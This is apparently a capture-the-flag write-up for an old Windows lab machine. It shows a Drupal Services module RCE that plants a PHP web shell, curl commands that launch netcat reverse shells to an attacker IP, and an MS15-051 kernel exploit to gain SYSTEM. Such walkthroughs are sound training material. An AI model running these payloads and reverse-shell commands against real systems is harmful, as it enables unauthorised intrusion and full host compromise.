Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.84.254
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 04:29 EDT
Nmap scan report for 10.129.84.254
Host is up (0.0072s latency).

Drupal

Port 80 was a Drupal Instance:

This box is really old, the intended exploit is to use Drupal Module RCE. Here's the PoC:

We need to edit the top of the script to have the correct URL and endpoints accordingly:

$url = 'http://10.129.84.254';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'test.php',
    'data' => '<?php system($_REQUEST["cmd"]); ?>'
];

Then, we can run the exploit:

$ php exploit.php
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics 
# Website: https://www.ambionics.io/blog/drupal-services-module-rce


#!/usr/bin/php
Stored session information in session.json
Stored user information in user.json
Cache contains 7 entries
File written: http://10.129.84.254/test.php

$ curl -G --data-urlencode 'cmd=whoami' 'http://10.129.84.254/test.php'
nt authority\iusr

We now have RCE, and getting a reverse shell can be done through nc.exe.

$ curl -G --data-urlencode 'cmd=\\10.10.14.2\share\nc64.exe -e cmd.exe 10.10.14.2 4444' 'http://10.129.84.254/test.php'

Grab the user flag.

Privilege Escalation -> Kernel

This is a really old machine, so tehre's bound to be some Windows Kernel exploit that we can use.

SeImpersonatePrivilege is also enabled, making this an easy exploit. For this particular case, we can use MS15-051.

When run, we can see that it works:

C:\Windows\Tasks>\\10.10.14.2\share\ms15-051x64.exe "whoami" 
\\10.10.14.2\share\ms15-051x64.exe "whoami"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 2268 created.
==============================
NT AUTHORITY\SYSTEM

We can run another reverse shell easily:

C:\Windows\Tasks>\\10.10.14.2\share\ms15-051x64.exe "\\10.10.14.2\share\nc64.exe -e cmd.exe 10.10.14.2 4444"
\\10.10.14.2\share\ms15-051x64.exe "\\10.10.14.2\share\nc64.exe -e cmd.exe 10.10.14.2 4444"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 2400 created.

Rooted!
